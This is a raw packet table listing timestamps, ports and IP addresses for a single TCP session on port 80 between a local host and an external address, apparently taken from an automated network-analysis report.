Sep 24, 2024 21:30:05.555927038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555933952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555985928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.556608915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556663990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.556782007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556816101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556829929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.556849003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556869030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556890965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.556943893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556974888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.556982994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.556991100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.557027102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.557401896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.557435989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.557487011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.580858946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.580923080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.580954075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.580981970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.581001043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.581129074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581167936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581182003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.581211090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.581443071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581475019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581511021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581639051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.581860065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581919909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.581938028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581973076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.581984997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582007885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582016945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582042933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582051039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582083941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582614899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582648039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582674980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582681894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582686901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582719088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582724094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582755089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582761049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582787991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.582798004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.582829952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.583473921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.583508015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.583527088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.583540916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.583551884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.583575964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.583581924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.583610058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.583619118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.583652973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.584333897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.584368944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.584402084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.584427118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.584436893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.584448099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.584455013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.584470034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.584481001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.584507942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.584517956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.584561110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585169077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.585201979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.585225105 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585235119 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.585237980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585269928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.585288048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585304022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.585311890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585345030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585931063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.585980892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.585988045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586023092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586030006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586076021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586087942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586107969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586116076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586143970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586152077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586186886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586884975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586920023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586935997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586956024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.586982012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.586991072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587002993 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587025881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587032080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587064981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587766886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587799072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587821960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587832928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587845087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587868929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587877035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587903023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587912083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587939024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.587977886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.587979078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.588414907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.588449001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.588460922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.588489056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.588489056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.588521957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.588538885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.588570118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.612796068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.612858057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.612885952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.612891912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.612929106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.612929106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.612993002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613044977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613049030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.613080978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613089085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.613132954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.613493919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613528013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613552094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.613563061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.613729000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613761902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.613785028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.613802910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614059925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614094019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614119053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614128113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614131927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614164114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614173889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614201069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614209890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614238024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614239931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614289999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614809036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614844084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614869118 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614876986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614882946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614912033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614944935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614962101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.614972115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.614995003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.615000963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.615027905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.615051985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641025066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641083002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641098022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641123056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641128063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641165972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641326904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641372919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641432047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641478062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641623020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641658068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641675949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641694069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641702890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641726017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.641738892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.641771078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642158031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642198086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642220020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642234087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642244101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642271996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642277002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642314911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642573118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642622948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642649889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642685890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642723083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642723083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.642724037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.642771006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643246889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.643281937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.643305063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643316984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.643317938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643351078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.643359900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643399000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643407106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.643452883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643459082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.643502951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.643979073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644013882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644028902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.644051075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644057035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.644088030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644104958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.644123077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644134045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.644157887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644179106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.644207954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.644927979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644965887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.644974947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645000935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.645004988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645036936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.645040035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645071983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.645078897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645107985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.645112991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645143032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.645149946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645179033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.645198107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.645226002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.669651985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.669701099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.669734001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.669769049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.669806957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.669806957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670069933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670104027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670120001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670139074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670141935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670177937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670180082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670222044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670595884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670629978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670643091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670665026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670671940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670700073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.670706034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.670743942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671220064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671253920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671266079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671291113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671293020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671324968 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671330929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671360016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671365023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671416044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671432972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671468973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.671478987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.671510935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.672127008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.672159910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.672184944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.672195911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.672205925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.672230005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.672236919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.672266006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.672271013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.672300100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.672307014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.672343969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673118114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673151970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673172951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673187971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673202038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673223972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673243999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673255920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673265934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673293114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673297882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673327923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.673333883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.673373938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674048901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674097061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674103022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674139023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674161911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674177885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674184084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674211979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674221992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674248934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674267054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674283028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.674285889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.674321890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.675071955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675107002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675122023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.675141096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675175905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675180912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.675209999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675215960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.675245047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675251961 CEST	49730	80	192.168.2.4	193.233.113.184
